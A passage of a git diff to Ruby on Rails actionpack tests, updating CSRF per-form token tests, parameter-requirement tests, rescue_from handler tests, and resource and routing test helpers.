test_should_not_raise_error_if_token_is_not_a_string - @controller.unstub(:valid_authenticity_token?) assert_blocked do patch :index, params: { custom_authenticity_token: { foo: 'bar' } } end @@ -402,6 +461,16 @@ module RequestForgeryProtectionTests def assert_cross_origin_not_blocked assert_not_blocked { yield } end + + def forgery_protection_origin_check + old_setting = ActionController::Base.forgery_protection_origin_check + ActionController::Base.forgery_protection_origin_check = true + begin + yield + ensure + ActionController::Base.forgery_protection_origin_check = old_setting + end + end end # OK let's get our test on @@ -419,11 +488,13 @@ class RequestForgeryProtectionControllerUsingResetSessionTest < ActionController end test 'should emit a csrf-param meta tag and a csrf-token meta tag' do - @controller.stubs(:form_authenticity_token).returns(@token + '<=?') - get :meta - assert_select 'meta[name=?][content=?]', 'csrf-param', 'custom_authenticity_token' - assert_select 'meta[name=?]', 'csrf-token' - assert_match(/cf50faa3fe97702ca1ae<=\?/, @response.body) + @controller.stub :form_authenticity_token, @token + '<=?' do + get :meta + assert_select 'meta[name=?][content=?]', 'csrf-param', 'custom_authenticity_token' + assert_select 'meta[name=?]', 'csrf-token' + regexp = "#{@token}<=\?" + assert_match(/#{regexp}/, @response.body) + end end end @@ -490,10 +561,10 @@ class PrependProtectForgeryBaseControllerTest < ActionController::TestCase assert_equal(expected_callback_order, @controller.called_callbacks) end - def test_verify_authenticity_token_is_prepended_by_default + def test_verify_authenticity_token_is_not_prepended_by_default @controller = PrependDefaultController.new get :index - expected_callback_order = ["verify_authenticity_token", "custom_action"] + expected_callback_order = ["custom_action", "verify_authenticity_token"] assert_equal(expected_callback_order, @controller.called_callbacks) end end @@ -501,32 +572,37 @@ end class FreeCookieControllerTest < ActionController::TestCase def setup @controller = FreeCookieController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new @token = "cf50faa3fe97702ca1ae" - - SecureRandom.stubs(:base64).returns(@token) + super end def test_should_not_render_form_with_token_tag - get :index - assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token, false + SecureRandom.stub :base64, @token do + get :index + assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token, false + end end def test_should_not_render_button_to_with_token_tag - get :show_button - assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token, false + SecureRandom.stub :base64, @token do + get :show_button + assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token, false + end end def test_should_allow_all_methods_without_token - [:post, :patch, :put, :delete].each do |method| - assert_nothing_raised { send(method, :index)} + SecureRandom.stub :base64, @token do + [:post, :patch, :put, :delete].each do |method| + assert_nothing_raised { send(method, :index)} + end end end test 'should not emit a csrf-token meta tag' do - get :meta - assert @response.body.blank? + SecureRandom.stub :base64, @token do + get :meta + assert @response.body.blank? + end end end @@ -547,11 +623,11 @@ class CustomAuthenticityParamControllerTest < ActionController::TestCase def test_should_not_warn_if_form_authenticity_param_matches_form_authenticity_token ActionController::Base.logger = @logger - @controller.stubs(:valid_authenticity_token?).returns(:true) - begin - post :index, params: { custom_token_name: 'foobar' } - assert_equal 0, @logger.logged(:warn).size + @controller.stub :valid_authenticity_token?, :true do + post :index, params: { custom_token_name: 'foobar' } + assert_equal 0, @logger.logged(:warn).size + end ensure ActionController::Base.logger = @old_logger end @@ -568,3 +644,193 @@ class CustomAuthenticityParamControllerTest < ActionController::TestCase end end end + +class PerFormTokensControllerTest < ActionController::TestCase + def test_per_form_token_is_same_size_as_global_token + get :index + expected = ActionController::RequestForgeryProtection::AUTHENTICITY_TOKEN_LENGTH + actual = @controller.send(:per_form_csrf_token, session, '/path', 'post').size + assert_equal expected, actual + end + + def test_accepts_token_for_correct_path_and_method + get :index + + form_token = assert_presence_and_fetch_form_csrf_token + + assert_matches_session_token_on_server form_token + + # This is required because PATH_INFO isn't reset between requests. + @request.env['PATH_INFO'] = '/per_form_tokens/post_one' + assert_nothing_raised do + post :post_one, params: {custom_authenticity_token: form_token} + end + assert_response :success + end + + def test_rejects_token_for_incorrect_path + get :index + + form_token = assert_presence_and_fetch_form_csrf_token + + assert_matches_session_token_on_server form_token + + # This is required because PATH_INFO isn't reset between requests. + @request.env['PATH_INFO'] = '/per_form_tokens/post_two' + assert_raises(ActionController::InvalidAuthenticityToken) do + post :post_two, params: {custom_authenticity_token: form_token} + end + end + + def test_rejects_token_for_incorrect_method + get :index + + form_token = assert_presence_and_fetch_form_csrf_token + + assert_matches_session_token_on_server form_token + + # This is required because PATH_INFO isn't reset between requests. + @request.env['PATH_INFO'] = '/per_form_tokens/post_one' + assert_raises(ActionController::InvalidAuthenticityToken) do + patch :post_one, params: {custom_authenticity_token: form_token} + end + end + + def test_rejects_token_for_incorrect_method_button_to + get :button_to, params: { form_method: 'delete' } + + form_token = assert_presence_and_fetch_form_csrf_token + + assert_matches_session_token_on_server form_token, 'delete' + + # This is required because PATH_INFO isn't reset between requests. + @request.env['PATH_INFO'] = '/per_form_tokens/post_one' + assert_raises(ActionController::InvalidAuthenticityToken) do + patch :post_one, params: { custom_authenticity_token: form_token } + end + end + + test "Accepts proper token for implicit post method on button_to tag" do + get :button_to + + form_token = assert_presence_and_fetch_form_csrf_token + + assert_matches_session_token_on_server form_token, 'post' + + # This is required because PATH_INFO isn't reset between requests. + @request.env['PATH_INFO'] = '/per_form_tokens/post_one' + assert_nothing_raised do + post :post_one, params: { custom_authenticity_token: form_token } + end + end + + %w{delete post patch}.each do |verb| + test "Accepts proper token for #{verb} method on button_to tag" do + get :button_to, params: { form_method: verb } + + form_token = assert_presence_and_fetch_form_csrf_token + + assert_matches_session_token_on_server form_token, verb + + # This is required because PATH_INFO isn't reset between requests. + @request.env['PATH_INFO'] = '/per_form_tokens/post_one' + assert_nothing_raised do + send verb, :post_one, params: { custom_authenticity_token: form_token } + end + end + end + + def test_accepts_global_csrf_token + get :index + + token = @controller.send(:form_authenticity_token) + + # This is required because PATH_INFO isn't reset between requests. + @request.env['PATH_INFO'] = '/per_form_tokens/post_one' + assert_nothing_raised do + post :post_one, params: {custom_authenticity_token: token} + end + assert_response :success + end + + def test_ignores_params + get :index, params: {form_path: '/per_form_tokens/post_one?foo=bar'} + + form_token = assert_presence_and_fetch_form_csrf_token + + assert_matches_session_token_on_server form_token + + # This is required because PATH_INFO isn't reset between requests. + @request.env['PATH_INFO'] = '/per_form_tokens/post_one?foo=baz' + assert_nothing_raised do + post :post_one, params: {custom_authenticity_token: form_token, baz: 'foo'} + end + assert_response :success + end + + def test_ignores_trailing_slash_during_generation + get :index, params: {form_path: '/per_form_tokens/post_one/'} + + form_token = assert_presence_and_fetch_form_csrf_token + + # This is required because PATH_INFO isn't reset between requests. + @request.env['PATH_INFO'] = '/per_form_tokens/post_one' + assert_nothing_raised do + post :post_one, params: {custom_authenticity_token: form_token} + end + assert_response :success + end + + def test_ignores_origin_during_generation + get :index, params: {form_path: 'https://example.com/per_form_tokens/post_one/'} + + form_token = assert_presence_and_fetch_form_csrf_token + + # This is required because PATH_INFO isn't reset between requests. + @request.env['PATH_INFO'] = '/per_form_tokens/post_one' + assert_nothing_raised do + post :post_one, params: {custom_authenticity_token: form_token} + end + assert_response :success + end + + def test_ignores_trailing_slash_during_validation + get :index + + form_token = assert_presence_and_fetch_form_csrf_token + + # This is required because PATH_INFO isn't reset between requests. + @request.env['PATH_INFO'] = '/per_form_tokens/post_one/' + assert_nothing_raised do + post :post_one, params: {custom_authenticity_token: form_token} + end + assert_response :success + end + + def test_method_is_case_insensitive + get :index, params: {form_method: "POST"} + + form_token = assert_presence_and_fetch_form_csrf_token + # This is required because PATH_INFO isn't reset between requests. + @request.env['PATH_INFO'] = '/per_form_tokens/post_one/' + assert_nothing_raised do + post :post_one, params: {custom_authenticity_token: form_token} + end + assert_response :success + end + + private + def assert_presence_and_fetch_form_csrf_token + assert_select 'input[name="custom_authenticity_token"]' do |input| + form_csrf_token = input.first['value'] + assert_not_nil form_csrf_token + return form_csrf_token + end + end + + def assert_matches_session_token_on_server(form_token, method = 'post') + actual = @controller.send(:unmask_token, Base64.strict_decode64(form_token)) + expected = @controller.send(:per_form_csrf_token, session, '/per_form_tokens/post_one', method) + assert_equal expected, actual + end +end diff --git a/actionpack/test/controller/required_params_test.rb b/actionpack/test/controller/required_params_test.rb index a901e56332..b6efcd6f9a 100644 --- a/actionpack/test/controller/required_params_test.rb +++ b/actionpack/test/controller/required_params_test.rb @@ -48,4 +48,34 @@ class ParametersRequireTest < ActiveSupport::TestCase ActionController::Parameters.new(person: {}).require(:person) end end + + test "require array when all required params are present" do + safe_params = ActionController::Parameters.new(person: {first_name: 'Gaurish', title: 'Mjallo', city: 'Barcelona'}) + .require(:person) + .require([:first_name, :title]) + + assert_kind_of Array, safe_params + assert_equal ['Gaurish', 'Mjallo'], safe_params + end + + test "require array when a required param is missing" do + assert_raises(ActionController::ParameterMissing) do + ActionController::Parameters.new(person: {first_name: 'Gaurish', title: nil}) + .require(:person) + .require([:first_name, :title]) + end + end + + test "value params" do + params = ActionController::Parameters.new(foo: "bar", dog: "cinco") + assert_equal ["bar", "cinco"], params.values + assert params.has_value?("cinco") + assert params.value?("cinco") + end + + test "Deprecated methods are deprecated" do + assert_deprecated do + ActionController::Parameters.new(foo: "bar").merge!({bar: "foo"}) + end + end end diff --git a/actionpack/test/controller/rescue_test.rb b/actionpack/test/controller/rescue_test.rb index 4898b0c57f..c088e5a043 100644 --- a/actionpack/test/controller/rescue_test.rb +++ b/actionpack/test/controller/rescue_test.rb @@ -43,29 +43,29 @@ class RescueController < ActionController::Base rescue_from NotAllowed, :with => proc { head :forbidden } rescue_from 'RescueController::NotAllowedToRescueAsString', :with => proc { head :forbidden } - rescue_from InvalidRequest, :with => proc { |exception| render :text => exception.message } - rescue_from 'InvalidRequestToRescueAsString', :with => proc { |exception| render :text => exception.message } + rescue_from InvalidRequest, with: proc { |exception| render plain: exception.message } + rescue_from 'InvalidRequestToRescueAsString', with: proc { |exception| render plain: exception.message } rescue_from BadGateway do - head :status => 502 + head 502 end rescue_from 'BadGatewayToRescueAsString' do - head :status => 502 + head 502 end rescue_from ResourceUnavailable do |exception| - render :text => exception.message + render plain: exception.message end rescue_from 'ResourceUnavailableToRescueAsString' do |exception| - render :text => exception.message + render plain: exception.message end rescue_from ActionView::TemplateError do - render :text => 'action_view templater error' + render plain: 'action_view templater error' end rescue_from IOError do - render :text => 'io error' + render plain: 'io error' end before_action(only: :before_action_raises) { raise 'umm nice' } @@ -74,7 +74,7 @@ class RescueController < ActionController::Base end def raises - render :text => 'already rendered' + render plain: 'already rendered' raise "don't panic!" end @@ -131,12 +131,22 @@ class RescueController < ActionController::Base def missing_template end - def io_error_in_view - raise ActionView::TemplateError.new(nil, IOError.new('this is io error')) + def exception_with_more_specific_handler_for_wrapper + raise RecordInvalid + rescue + raise NotAuthorized end - def zero_division_error_in_view - raise ActionView::TemplateError.new(nil, ZeroDivisionError.new('this is zero division error')) + def exception_with_more_specific_handler_for_cause + raise NotAuthorized + rescue + raise RecordInvalid + end + + def exception_with_no_handler_for_wrapper + raise RecordInvalid + rescue + raise RangeError end protected @@ -225,17 +235,6 @@ class ControllerInheritanceRescueControllerTest < ActionController::TestCase end class RescueControllerTest < ActionController::TestCase - - def test_io_error_in_view - get :io_error_in_view - assert_equal 'io error', @response.body - end - - def test_zero_division_error_in_view - get :zero_division_error_in_view - assert_equal 'action_view templater error', @response.body - end - def test_rescue_handler get :not_authorized assert_response :forbidden @@ -246,12 +245,14 @@ class RescueControllerTest < ActionController::TestCase end def test_rescue_handler_with_argument - @controller.expects(:show_errors).once.with { |e| e.is_a?(Exception) } - get :record_invalid + assert_called_with @controller, :show_errors, [Exception] do + get :record_invalid + end end def test_rescue_handler_with_argument_as_string - @controller.expects(:show_errors).once.with { |e| e.is_a?(Exception) } - get :record_invalid_raise_as_string + assert_called_with @controller, :show_errors, [Exception] do + get :record_invalid_raise_as_string + end end def test_proc_rescue_handler @@ -285,11 +286,25 @@ class RescueControllerTest < ActionController::TestCase get :resource_unavailable assert_equal "RescueController::ResourceUnavailable", @response.body end - def test_block_rescue_handler_with_argument_as_string get :resource_unavailable_raise_as_string assert_equal "RescueController::ResourceUnavailableToRescueAsString", @response.body end + + test 'rescue when wrapper has more specific handler than cause' do + get :exception_with_more_specific_handler_for_wrapper + assert_response :forbidden + end + + test 'rescue when cause has more specific handler than wrapper' do + get :exception_with_more_specific_handler_for_cause + assert_response :unprocessable_entity + end + + test 'rescue when cause has handler, but wrapper doesnt' do + get :exception_with_no_handler_for_wrapper + assert_response :unprocessable_entity + end end class RescueTest < ActionDispatch::IntegrationTest @@ -302,7 +317,7 @@ class RescueTest < ActionDispatch::IntegrationTest rescue_from RecordInvalid, :with => :show_errors def foo - render :text => "foo" + render plain: "foo" end def invalid @@ -315,7 +330,7 @@ class RescueTest < ActionDispatch::IntegrationTest protected def show_errors(exception) - render :text => exception.message + render plain: exception.message end end diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb index f3da2df3ef..4490abf7b2 100644 --- a/actionpack/test/controller/resources_test.rb +++ b/actionpack/test/controller/resources_test.rb @@ -149,7 +149,7 @@ class ResourcesTest < ActionController::TestCase end end - assert_restful_named_routes_for :messages do |options| + assert_restful_named_routes_for :messages do actions.each_key do |action| assert_named_route "/messages/#{action}", "#{action}_messages_path", :action => action end @@ -179,7 +179,7 @@ class ResourcesTest < ActionController::TestCase end end - assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options| + assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do actions.each_key do |action| assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action end @@ -206,7 +206,7 @@ class ResourcesTest < ActionController::TestCase end end - assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options| + assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do actions.each_key do |action| assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action end @@ -236,7 +236,7 @@ class ResourcesTest < ActionController::TestCase end end - assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options| + assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do actions.each_key do |action| assert_named_route "/threads/1/messages/#{action}.xml", "#{action}_thread_messages_path", :action => action, :format => 'xml' end @@ -253,7 +253,7 @@ class ResourcesTest < ActionController::TestCase assert_recognizes(options.merge(mark_options), :path => mark_path, :method => method) end - assert_restful_named_routes_for :messages do |options| + assert_restful_named_routes_for :messages do assert_named_route mark_path, :mark_message_path, mark_options end end @@ -278,7 +278,7 @@ class ResourcesTest < ActionController::TestCase assert_recognizes(options.merge(mark_options), :path => mark_path, :method => method) end - assert_restful_named_routes_for :messages, :path_names => {:new => 'nuevo'} do |options| + assert_restful_named_routes_for :messages, :path_names => {:new => 'nuevo'} do assert_named_route mark_path, :mark_message_path, mark_options end end @@ -304,7 +304,7 @@ class ResourcesTest < ActionController::TestCase assert_recognizes(options.merge(action_options), :path => action_path, :method => method) end - assert_restful_named_routes_for :messages do |options| + assert_restful_named_routes_for :messages do assert_named_route action_path, "#{action}_message_path".to_sym, action_options end end @@ -351,7 +351,7 @@ class ResourcesTest < ActionController::TestCase assert_recognizes(options.merge(preview_options), :path => preview_path, :method => :post) end - assert_restful_named_routes_for :messages do |options| + assert_restful_named_routes_for :messages do assert_named_route preview_path, :preview_new_message_path, preview_options end end @@ -373,7 +373,7 @@ class ResourcesTest < ActionController::TestCase assert_recognizes(options.merge(preview_options), :path => preview_path, :method => :post) end - assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options| + assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do assert_named_route preview_path, :preview_new_thread_message_path, preview_options end end @@ -395,7 +395,7 @@ class ResourcesTest < ActionController::TestCase assert_recognizes(options.merge(preview_options), :path => preview_path, :method => :post) end - assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options| + assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do assert_named_route preview_path, :preview_new_thread_message_path, preview_options end end @@ -505,8 +505,8 @@ class ResourcesTest < ActionController::TestCase routes = @routes.routes routes.each do |route| routes.each do |r| - next if route === r # skip the comparison instance - assert_not_equal [route.conditions, route.path.spec.to_s], [r.conditions, r.path.spec.to_s] + next if route == r # skip the comparison instance + assert_not_equal [route.conditions, route.path.spec.to_s, route.verb], [r.conditions, r.path.spec.to_s, r.verb] end end end @@ -519,9 +519,9 @@ class ResourcesTest < ActionController::TestCase end def test_should_create_multiple_singleton_resource_routes - with_singleton_resources :account, :logo do + with_singleton_resources :account, :product do assert_singleton_restful_for :account - assert_singleton_restful_for :logo + assert_singleton_restful_for :product end end @@ -553,7 +553,7 @@ class ResourcesTest < ActionController::TestCase assert_recognizes(options.merge(reset_options), :path => reset_path, :method => method) end - assert_singleton_named_routes_for :account do |options| + assert_singleton_named_routes_for :account do assert_named_route reset_path, :reset_account_path, reset_options end end @@ -577,7 +577,7 @@ class ResourcesTest < ActionController::TestCase assert_recognizes(options.merge(action_options), :path => action_path, :method => method) end - assert_singleton_named_routes_for :account do |options| + assert_singleton_named_routes_for :account do assert_named_route action_path, "#{action}_account_path".to_sym, action_options end end @@ -1070,8 +1070,8 @@ class ResourcesTest < ActionController::TestCase end def test_singleton_resource_name_is_not_singularized - with_singleton_resources(:preferences) do - assert_singleton_restful_for :preferences + with_singleton_resources(:products) do + assert_singleton_restful_for :products end end @@ -1128,14 +1128,14 @@ class ResourcesTest < ActionController::TestCase end def assert_restful_routes_for(controller_name, options = {}) - options[:options] ||= {} - options[:options][:controller] = options[:controller] || controller_name.to_s + route_options = (options[:options] ||= {}).dup + route_options[:controller] = options[:controller] || controller_name.to_s if options[:shallow] options[:shallow_options] ||= {} - options[:shallow_options][:controller] = options[:options][:controller] + options[:shallow_options][:controller] = route_options[:controller] else - options[:shallow_options] = options[:options] + options[:shallow_options] = route_options end new_action = @routes.resources_path_names[:new] || "new" @@ -1154,7 +1154,7 @@ class ResourcesTest < ActionController::TestCase edit_member_path = "#{member_path}/#{edit_action}" formatted_edit_member_path = "#{member_path}/#{edit_action}.xml" - with_options(options[:options]) do |controller| + with_options(route_options) do |controller| controller.assert_routing collection_path, :action => 'index' controller.assert_routing new_path, :action => 'new' controller.assert_routing "#{collection_path}.xml", :action => 'index', :format => 'xml' @@ -1168,23 +1168,23 @@ class ResourcesTest < ActionController::TestCase controller.assert_routing formatted_edit_member_path, :action => 'edit', :id => '1', :format => 'xml' end - assert_recognizes(options[:options].merge(:action => 'index'), :path => collection_path, :method => :get) - assert_recognizes(options[:options].merge(:action => 'new'), :path => new_path, :method => :get) - assert_recognizes(options[:options].merge(:action => 'create'), :path => collection_path, :method => :post) + assert_recognizes(route_options.merge(:action => 'index'), :path => collection_path, :method => :get) + assert_recognizes(route_options.merge(:action => 'new'), :path => new_path, :method => :get) + assert_recognizes(route_options.merge(:action => 'create'), :path => collection_path, :method => :post) assert_recognizes(options[:shallow_options].merge(:action => 'show', :id => '1'), :path => member_path, :method => :get) assert_recognizes(options[:shallow_options].merge(:action => 'edit', :id => '1'), :path => edit_member_path, :method => :get) assert_recognizes(options[:shallow_options].merge(:action => 'update', :id => '1'), :path => member_path, :method => :put) assert_recognizes(options[:shallow_options].merge(:action => 'destroy', :id => '1'), :path => member_path, :method => :delete) - assert_recognizes(options[:options].merge(:action => 'index', :format => 'xml'), :path => "#{collection_path}.xml", :method => :get) - assert_recognizes(options[:options].merge(:action => 'new', :format => 'xml'), :path => "#{new_path}.xml", :method => :get) - assert_recognizes(options[:options].merge(:action => 'create', :format => 'xml'), :path => "#{collection_path}.xml", :method => :post) + assert_recognizes(route_options.merge(:action => 'index', :format => 'xml'), :path => "#{collection_path}.xml", :method => :get) + assert_recognizes(route_options.merge(:action => 'new', :format => 'xml'), :path => "#{new_path}.xml", :method => :get) + assert_recognizes(route_options.merge(:action => 'create', :format => 'xml'), :path => "#{collection_path}.xml", :method => :post) assert_recognizes(options[:shallow_options].merge(:action => 'show', :id => '1', :format => 'xml'), :path => "#{member_path}.xml", :method => :get) assert_recognizes(options[:shallow_options].merge(:action => 'edit', :id => '1', :format => 'xml'), :path => formatted_edit_member_path, :method => :get) assert_recognizes(options[:shallow_options].merge(:action => 'update', :id => '1', :format => 'xml'), :path => "#{member_path}.xml", :method => :put) assert_recognizes(options[:shallow_options].merge(:action => 'destroy', :id => '1', :format => 'xml'), :path => "#{member_path}.xml", :method => :delete) - yield options[:options] if block_given? + yield route_options if block_given? end # test named routes like foo_path and foos_path map to the correct options. @@ -1195,22 +1195,20 @@ class ResourcesTest < ActionController::TestCase end singular_name ||= controller_name.to_s.singularize - options[:options] ||= {} - options[:options][:controller] = options[:controller] || controller_name.to_s + route_options = (options[:options] ||= {}).dup + route_options[:controller] = options[:controller] || controller_name.to_s if options[:shallow] options[:shallow_options] ||= {} - options[:shallow_options][:controller] = options[:options][:controller] + options[:shallow_options][:controller] = route_options[:controller] else - options[:shallow_options] = options[:options] + options[:shallow_options] = route_options end - @controller = "#{options[:options][:controller].camelize}Controller".constantize.new + @controller = "#{route_options[:controller].camelize}Controller".constantize.new @controller.singleton_class.include(@routes.url_helpers) - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new - get :index, params: options[:options] - options[:options].delete :action + get :index, params: route_options + route_options.delete :action path = "#{options[:as] || controller_name}" shallow_path = "/#{options[:shallow] ? options[:namespace] : options[:path_prefix]}#{path}" @@ -1225,29 +1223,29 @@ class ResourcesTest < ActionController::TestCase edit_action = options[:path_names][:edit] || "edit" end - assert_named_route "#{full_path}", "#{name_prefix}#{controller_name}_path", options[:options] - assert_named_route "#{full_path}.xml", "#{name_prefix}#{controller_name}_path", options[:options].merge(:format => 'xml') + assert_named_route "#{full_path}", "#{name_prefix}#{controller_name}_path", route_options + assert_named_route "#{full_path}.xml", "#{name_prefix}#{controller_name}_path", route_options.merge(:format => 'xml') assert_named_route "#{shallow_path}/1", "#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1') assert_named_route "#{shallow_path}/1.xml", "#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1', :format => 'xml') - assert_named_route "#{full_path}/#{new_action}", "new_#{name_prefix}#{singular_name}_path", options[:options] - assert_named_route "#{full_path}/#{new_action}.xml", "new_#{name_prefix}#{singular_name}_path", options[:options].merge(:format => 'xml') + assert_named_route "#{full_path}/#{new_action}", "new_#{name_prefix}#{singular_name}_path", route_options + assert_named_route "#{full_path}/#{new_action}.xml", "new_#{name_prefix}#{singular_name}_path", route_options.merge(:format => 'xml') assert_named_route "#{shallow_path}/1/#{edit_action}", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1') assert_named_route "#{shallow_path}/1/#{edit_action}.xml", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1', :format => 'xml') - yield options[:options] if block_given? + yield route_options if block_given? end def assert_singleton_routes_for(singleton_name, options = {}) - options[:options] ||= {} - options[:options][:controller] = options[:controller] || singleton_name.to_s.pluralize + route_options = (options[:options] ||= {}).dup + route_options[:controller] = options[:controller] || singleton_name.to_s.pluralize full_path = "/#{options[:path_prefix]}#{options[:as] || singleton_name}" new_path = "#{full_path}/new" edit_path = "#{full_path}/edit" formatted_edit_path = "#{full_path}/edit.xml" - with_options options[:options] do |controller| + with_options route_options do |controller| controller.assert_routing full_path, :action => 'show' controller.assert_routing new_path, :action => 'new' controller.assert_routing edit_path, :action => 'edit' @@ -1256,42 +1254,41 @@ class ResourcesTest < ActionController::TestCase controller.assert_routing formatted_edit_path, :action => 'edit', :format => 'xml' end - assert_recognizes(options[:options].merge(:action => 'show'), :path => full_path, :method => :get) - assert_recognizes(options[:options].merge(:action => 'new'), :path => new_path, :method => :get) - assert_recognizes(options[:options].merge(:action => 'edit'), :path => edit_path, :method => :get) - assert_recognizes(options[:options].merge(:action => 'create'), :path => full_path, :method => :post) - assert_recognizes(options[:options].merge(:action => 'update'), :path => full_path, :method => :put) - assert_recognizes(options[:options].merge(:action => 'destroy'), :path => full_path, :method => :delete) + assert_recognizes(route_options.merge(:action => 'show'), :path => full_path, :method => :get) + assert_recognizes(route_options.merge(:action => 'new'), :path => new_path, :method => :get) + assert_recognizes(route_options.merge(:action => 'edit'), :path => edit_path, :method => :get) + assert_recognizes(route_options.merge(:action => 'create'), :path => full_path, :method => :post) + assert_recognizes(route_options.merge(:action => 'update'), :path => full_path, :method => :put) + assert_recognizes(route_options.merge(:action => 'destroy'), :path => full_path, :method => :delete) - assert_recognizes(options[:options].merge(:action => 'show', :format => 'xml'), :path => "#{full_path}.xml", :method => :get) - assert_recognizes(options[:options].merge(:action => 'new', :format => 'xml'), :path => "#{new_path}.xml", :method => :get) - assert_recognizes(options[:options].merge(:action => 'edit', :format => 'xml'), :path => formatted_edit_path, :method => :get) - assert_recognizes(options[:options].merge(:action => 'create', :format => 'xml'), :path => "#{full_path}.xml", :method => :post) - assert_recognizes(options[:options].merge(:action => 'update', :format => 'xml'), :path => "#{full_path}.xml", :method => :put) - assert_recognizes(options[:options].merge(:action => 'destroy', :format => 'xml'), :path => "#{full_path}.xml", :method => :delete) + assert_recognizes(route_options.merge(:action => 'show', :format => 'xml'), :path => "#{full_path}.xml", :method => :get) + assert_recognizes(route_options.merge(:action => 'new', :format => 'xml'), :path => "#{new_path}.xml", :method => :get) + assert_recognizes(route_options.merge(:action => 'edit', :format => 'xml'), :path => formatted_edit_path, :method => :get) + assert_recognizes(route_options.merge(:action => 'create', :format => 'xml'), :path => "#{full_path}.xml", :method => :post) + assert_recognizes(route_options.merge(:action => 'update', :format => 'xml'), :path => "#{full_path}.xml", :method => :put) + assert_recognizes(route_options.merge(:action => 'destroy', :format => 'xml'), :path => "#{full_path}.xml", :method => :delete) - yield options[:options] if block_given? + yield route_options if block_given? end def assert_singleton_named_routes_for(singleton_name, options = {}) - (options[:options] ||= {})[:controller] ||= singleton_name.to_s.pluralize - @controller = "#{options[:options][:controller].camelize}Controller".constantize.new + route_options = (options[:options] ||= {}).dup + controller_name = route_options[:controller] || options[:controller] || singleton_name.to_s.pluralize + @controller = "#{controller_name.camelize}Controller".constantize.new @controller.singleton_class.include(@routes.url_helpers) - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new - get :show, params: options[:options] - options[:options].delete :action + get :show, params: route_options + route_options.delete :action full_path = "/#{options[:path_prefix]}#{options[:as] || singleton_name}" name_prefix = options[:name_prefix] - assert_named_route "#{full_path}", "#{name_prefix}#{singleton_name}_path", options[:options] - assert_named_route "#{full_path}.xml", "#{name_prefix}#{singleton_name}_path", options[:options].merge(:format => 'xml') + assert_named_route "#{full_path}", "#{name_prefix}#{singleton_name}_path", route_options + assert_named_route "#{full_path}.xml", "#{name_prefix}#{singleton_name}_path", route_options.merge(:format => 'xml') - assert_named_route "#{full_path}/new", "new_#{name_prefix}#{singleton_name}_path", options[:options] - assert_named_route "#{full_path}/new.xml", "new_#{name_prefix}#{singleton_name}_path", options[:options].merge(:format => 'xml') - assert_named_route "#{full_path}/edit", "edit_#{name_prefix}#{singleton_name}_path", options[:options] - assert_named_route "#{full_path}/edit.xml", "edit_#{name_prefix}#{singleton_name}_path", options[:options].merge(:format => 'xml') + assert_named_route "#{full_path}/new", "new_#{name_prefix}#{singleton_name}_path", route_options + assert_named_route "#{full_path}/new.xml", "new_#{name_prefix}#{singleton_name}_path", route_options.merge(:format => 'xml') + assert_named_route "#{full_path}/edit", "edit_#{name_prefix}#{singleton_name}_path", route_options + assert_named_route "#{full_path}/edit.xml", "edit_#{name_prefix}#{singleton_name}_path", route_options.merge(:format => 'xml') end def assert_named_route(expected, route, options) diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb index 2d08987ca6..168677829a 100644 --- a/actionpack/test/controller/routing_test.rb +++ b/actionpack/test/controller/routing_test.rb @@ -8,8 +8,6 @@ class MilestonesController < ActionController::Base alias_method :show, :index end -ROUTING = ActionDispatch::Routing - # See RFC 3986, section 3.3 for allowed path characters. class UriReservedCharactersRoutingTest < ActiveSupport::TestCase include RoutingTestHelpers @@ -17,7 +15,9 @@ class UriReservedCharactersRoutingTest < ActiveSupport::TestCase def setup @set = ActionDispatch::Routing::RouteSet.new @set.draw do - get ':controller/:action/:variable/*additional' + ActiveSupport::Deprecation.silence do + get ':controller/:action/:variable/*additional' + end end safe, unsafe = %w(: @ & = + $ , ;), %w(^ ? # [ ]) @@ -291,12 +291,6 @@ class LegacyRouteSetTests < ActiveSupport::TestCase assert_equal({:id=>"1", :filters=>"foo", :format=>"js"}, params) end - def test_draw_with_block_arity_one_raises - assert_raise(RuntimeError) do - rs.draw { |map| map.match '/:controller(/:action(/:id))' } - end - end - def test_specific_controller_action_failure rs.draw do mount lambda {} => "/foo" @@ -308,7 +302,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase end def test_default_setup - rs.draw { get '/:controller(/:action(/:id))' } + rs.draw { ActiveSupport::Deprecation.silence { get '/:controller(/:action(/:id))' } } assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/content")) assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/content/list")) assert_equal({:controller => "content", :action => 'show', :id => '10'}, 